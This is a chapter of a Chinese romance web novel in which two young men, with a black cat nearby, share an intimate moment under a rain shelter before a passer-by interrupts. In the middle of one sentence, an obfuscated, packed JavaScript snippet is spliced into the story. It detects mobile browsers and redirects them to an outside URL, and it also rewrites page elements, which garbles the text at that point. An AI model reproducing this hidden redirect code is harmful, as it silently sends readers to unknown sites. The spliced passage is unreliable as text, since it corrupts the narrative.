游司梵的臂膀好不容易恢复些许力气,立时被他嗖地缩回胸前,颤颤巍巍的,指尖犹然带着力竭后不怎么受控制的细抖,却强行当做隔阂他与闻濯的屏障,物理意义上再度拉开二人距离。 黑猫眨眨眼,看见饲养员匆忙整理半掉不掉的口罩,把水平线拉回原处,便色厉内荏地开始质问。 “你的手在干嘛呢!”游司梵掌心撑向闻濯的胸肌,细致地贴上青年轮廓分明的□□,以期二人间获得足够的间隔,眼瞳流露出不赞同的神情,“刚才很谢谢你没有让我摔倒,但现在……可以把我放下来了吧?” 闻濯听完后,莫名轻笑一声。 他没有看游司梵大义凛然,却贼喊捉贼的手,掌心和腰腹也没有报复般再次动作。 他只是维持现状,不轻不重地回答:“嗯。” 没有可以,也没说不行。 游司梵却如同被灼伤似的浑身一颤。 少年与闻濯离得极近,哪怕已然拉开少许距离,也是一个过分亲密的尺度,唯有游司梵软下腰或者挺直脊背的区别,本质而言,他们依旧紧密相贴。 这样的结果,是游司梵彻底感知到闻濯的一举一动。 清幽却霸道的冷香。健硕有力的臂膀与胸肌。轻笑时微微弯起的眉眼。低声应答后胸腔涌起的低沉共振。 游司梵的手仿佛成为连接,把原本属于闻濯的情绪引来自己身上,徒留臀腿越发酥麻的燎原。 他被青年很好地搂在怀中,自小腹泛起的隐秘酸麻渐渐充斥全身。 热。痒。脊椎又酥又麻。并不存在的魂灵贪心地叫嚣,想拥有更多热切。 游司梵的世界好像唯独剩下掌心与臀腿两个支点,除此之外,一切皆为不必要的纷繁。 咚咚。咚。咚咚。 是闻濯沉稳有力的心跳。 在某个恍惚的瞬间,游司梵感觉自己似乎与闻濯融为一体,骨血相连。 闻濯好像有一种奇怪的魔力,令游司梵无限沉溺于他单独辟出的世外桃源。 这仅仅是一个坚定有力的怀抱。 没有暴雨,没有被欺侮的难堪,没有被迫离别的生死难料,有且仅有的,是始终温热且稳固的掌心。 他不会背叛他。 游司梵凝视那双近在咫尺的墨色眼眸,却什么也看不见,只看见闻濯瞳孔倒映出的小小的自己。 背景虚化的霓虹灯间接闪烁,叮叮咚咚的雨声从游司梵耳畔淡去,嗅着那股闻濯特有的冷香,他做梦似的呢喃道:“我……” 吱呀——! 闻濯身后七步开外,书咖门突然被推开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13235133|130940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 一位行色匆匆的路人探出半个身子,念念有词:“雨真的在变小,看来顶多再过十五分钟或者半小时就能走了……咦?外头还有人啊?” 他发现几米外背对自己的闻濯。 身形高大的青年不知为何,姿势看起来竟有些僵硬,肩头还蹲着一只油光水滑的黑猫。 闻濯没有回头,猫却立刻闻声转首,又圆又亮的蔚蓝猫眼儿看向来人。 “喵。”它细声细气地叫道。 “哎呀!怎么还有只一起避雨的小猫?你们快进来书咖吧!在外头又是风又是雨多不好!”那人热情招呼,往前走上数步,被地上稀里糊涂倾倒的长柄黑色引走注意力,“你的伞怎么……?如果你不方便的话,要不要我帮你收一下……啊!?” 那人刚刚弯下腰,竟猛然看见游司梵坐立难安的小腿。 那对纤长清瘦的腿并在闻濯腰后,虚虚挂着,没有真正接触到青年的腰腹,脚尖略显紧张地微微绷起,仿佛不好意思,想在好心劝谏进书咖躲雨的陌生人面前藏起自己。 可他的躲避不过是平添暧昧,闻濯遮挡他的身躯,反而影影绰绰,越发解释不清。 在那个男人的视野里,游司梵的腿好似莬丝子,纯洁,天真,又暗含心计,堆叠的白色棉袜衬得跟腱极其修长,紧紧缠绕蜂腰猿臂的闻濯。 “……不好意思!”那人尴尬一笑,迅速撤退回书咖内部,单手抽出伞架上自己的折叠伞,竟是想直接冒雨离开,“哈哈,哈,哈哈,打扰了打扰了!你们继续,继续!不要在意我!” 黑猫优雅地舔舔爪子:“咪。” 仿佛是一种默许。 那人煞有其事地点点头,朝不知道是黑猫还是游司梵还是闻濯的大致目标胡乱一挥手,“啪!”一下开伞,坚定走入只是比之前略小一些的暴雨。 背影如同奔赴战场般决绝。 等游司梵有勇气探出头去瞧一瞧时,人已经消失于淅淅沥沥的雨幕,完全不见踪迹。 游司梵撤回撑着闻濯胸肌的掌心:“……” 闻濯:“……” 黑猫:“咪喵!” 焦灼的尴尬在二人之间迅速漫延,唯有黑猫不受影响,兴致勃勃地观察人类精彩纷呈的脸色。 “小咪你别添乱!”游司梵强作镇定,教训完黑猫,又别别扭扭地和闻濯说话,视线不好意思地撇向空地,“那个……我想下来。” 声音细若蚊吟,最后三个字又轻又低,先前的气势汹汹全然不见。 像一株蔫了的野生植物,耀武扬威的花蕾被厚重雨水打湿,沮丧地垂下。 闻濯顿了顿,仿佛想说些什么,最终还是没道出口。 “好。” 他简单答道,眉眼又恢复成冷淡疏离的模样,黑色口罩笼罩下的神情看不真切,辩不出喜怒。 游司梵只觉视线角度在刹那间降低,支撑自己的那具躯体稍微一弓,掌握臀腿的热源瞬间撤去,而他双腿一晃,又能稳稳地重新立于地面。 黑猫顺势也从闻濯肩头下来。 闻濯朝游司梵昂首致意,礼貌地退开两步。 游司梵略显失落地站在避雨廊的木地板上,软绵而坚韧的触感仿若仅仅是一场短暂的幻梦,片刻前还与胸肌贴贴的手再无凭靠,只能单调地垂于身体两侧。 如同人生往前十八年一样,姿势和动作毫无变化。 闻濯眉心微皱,不明白为什么只是刚刚放下游司梵不到三十秒,对面的长发少年一声不吭,就一副快哭出来的委屈样子。 杏核眼雾蒙蒙的,像被雨水沾湿的琉璃珠子,能够最大限度激发人的保护欲与施虐欲,叫人想怜惜地亲吻,又想欺负他,好让他彻彻底底地哭泣。 可怜而漂亮。 掌心仿佛还残留着游司梵臀腿绵软的握感,闻濯耳尖又泛上一层嫣红,但神色还是镇定自若,滴水不漏。 “你还好吗?” 游司梵不答话,又一次默默蹲下身子。 黑猫慢悠悠地走至饲养员脚边,用毛绒绒的身躯蹭蹭少年光洁的足踝。 闻濯不催他。 游司梵揉揉黑猫脑壳,慢慢吞吞地从小挎包掏出仅存的猫条,等猫吃上了,才瓮声瓮气地说道:“我没事。” 他视线紧紧锁定猫条上夸张的印花宣传语,不偏不倚,满心满眼都是“猫的挚爱”四个字。 闻濯不信,眸色一沉,正打算往前一步。 “你别过来!”在闻濯即将迈步之前,游司梵率先点破某人蠢蠢欲动的意图,“不许你过来。” 他声音不小,黑猫埋头苦吃,尖尖的猫耳朵却不舒服地抖动一瞬。 “我喂猫呢。”可能觉得自己语气太凶,不符合刚才亲密无间的暧昧,游司梵压低音线,又找补似的多解释一句。 也许闻濯勉强接受这个不算理由的借口,没有再试图往前。 游司梵看着因为黑猫的舔舐而不断摆动的猫条,余光似有若无地扫过两步之外的闻濯,时刻监视此人动向。 他也不知道自己是怎么了。 刚才有一刹那,无法言说的酸涩充斥心间,只有把注意力放在闻濯之外才舒服些…… “啊!不是让你别过来嘛!”闻濯忽然前进一步,游司梵脊背防御般瞬间弓起,把自己团成一团,脸颊警惕地转向闻濯的方向,“你这人真的好坏!之前是偷猫,现在是食言!既然做不到,干嘛要答应我,早说做不到不就得了……” 嘚啵嘚啵连珠炮弹似的输出一大堆,对上闻濯动作的瞬间,游司梵疾声厉色的质问却顿时哑火。 只见身形高大修长的青年微微俯身,无言地拾起那柄为了怀抱游司梵而远远抛开的长伞。 从游司梵扒拉闻濯开始,他们贴了多久,长伞就曝露在暴雨里多久。 游司梵眼尖,能清楚看见伞内面已经湿透了。 闻濯眉眼冷淡,侧脸线条凌厉又俊朗,执起黑色长伞的模样利落干脆,伞柄水珠滚滚而落,他却不沾凡尘。 那些不慎沾湿他掌心的水,也似观音瓶中的净露,不过是为他点缀别样的颜色而已。 隔去不到两米的距离,闻濯向游司梵投来一瞥。 那眼神晦暗不明,游司梵却读出一种未道出口的沉默与无奈。 闻濯没有食言,没有做出“坏事”,试图践踏他并没有亲口应承的承诺。 给人乱扣帽子的,是游司梵自己。 游司梵:“……” 游司梵:“啊——啊嚏!” 他一个激灵,五官一痒,只来得及单手捂住口鼻,就打了好大一个喷嚏。 泪眼汪汪的。 动作太大,猫条歪了,黑猫极其不满意,昂起圆圆的小猫脸蛋冲饲养员叫唤:“喵喵喵!” 闻濯收起长伞后在做什么,游司梵来不及关注,只是余光依稀看见青年拿出手机,修长且骨节分明的指尖点点屏幕。 游司梵重点全放在哄黑猫身上,焦头烂额。 他没有带罐罐出门,猫条又只剩下一条,花费整整五分钟,贡献极致的撸猫马杀鸡手法后,迷失在甜言蜜语的黑猫才大发慈悲放过他,粉色舌尖快速吞吐,舔舐饲养员讨好的上供猫条。 游司梵接连道出许多“哎呀这是谁家的宝贝猫猫?原来是我家大小姐!”“这身姿!这毛色!一看就是称霸X城的猫猫霸王头领!”“小咪你原谅我好不好?下次给你带小鱼干”诸如此类的话语,简直耗尽心神,连一旁的闻濯在干什么都没力气计较。 叮! 小挎包揣着的手机蓦然一震,响起雁书的提示音。 游司梵灵魂出窍,停下抚摸黑猫的手,单手拿稳猫条后,可有可无地翻找几下,从包里寻出手机。 他小扇般浓密的眼睫垂下,懒洋洋地解锁屏幕。 一行微软雅黑体的提示顺滑弹出。 [雁书:尊敬的年度SVIP用户,您的特别关心“。”于1分钟前发布了一条新动态,是否查看?] 游司梵精神顿时一震。 犹如在壁炉边烤火太久的人遭到凛风,那些不该出现的瞌睡和慵懒霎时肃然一空。 游司梵齿关闭合,快要吃完的薄荷糖在舌尖留下一抹难以消散的清凉,脆弱单薄的糖体变得尖利,如同一柄利剑,刺醒游司梵久远的羞耻心。 他偷偷看一眼身侧的闻濯,又赶在对方还未察觉前,装作无事发生,快速把脑袋扭回来。 在游司梵没有看见的角落,黑色口罩之下,闻濯唇角隐约勾起一丝弧度。 正如方才狼狈逃窜的电灯泡路人所言,暴雨的雨势当真在逐渐变小,以往纷乱嘈杂的滂沱化为静谧的韵律,零零落落,竟有些白噪音似的伴奏意味。 闻濯唇角弧度不变,指尖敲击屏幕下侧的虚拟键盘,再次点击发送。 同一时间,游司梵的雁书又一次闪烁特别关心独有的消息提示。 叮! [雁书:未读消息(2)] [尊敬的年度SVIP用户,您的特别关心“。”于1分钟前再次发布了一条新动态,目前您共有两条动态未读,是否查看?] 游司梵犬齿角度略略一偏,直接咬碎单薄至极的薄荷糖。 清凉的香甜彻底炸开,也就此冲淡他心里七上八下的忐忑。 游司梵脑海里闪过今早与Forward阴差阳错的乌龙,心一横,最终仍然选择咬牙点开动态。 看就看!难道还能比现在更尴尬吗? 再也没有这样难堪的时刻了! 他鼓足勇气,却依旧难耐地咬紧下唇,有些害怕即将面对的未知。 2718年6月17日-17:03 [。]:今日暴雨。 简简单单一行字,没有配图,没有表情包,文字带标点符号一共五个字符,发送者的冷淡几乎要溢出屏幕。 游司梵蹙起眉心,一头雾水。 什么啊?这人以为自己是天气预报吗?是想记录天气,来个动态巡回播报? 游司梵齿尖厮磨下唇饱满的唇肉,不明所以,却还是下意识地为Forward点赞。 [您是此动态第一个点赞的人,活跃度+6,会员等级经验条+78。] 游司梵:“……” 完蛋。肌肉记忆,太顺手了。 但是如果现在亡羊补牢,直接把点赞撤销的话,会不会显得我太小气啊?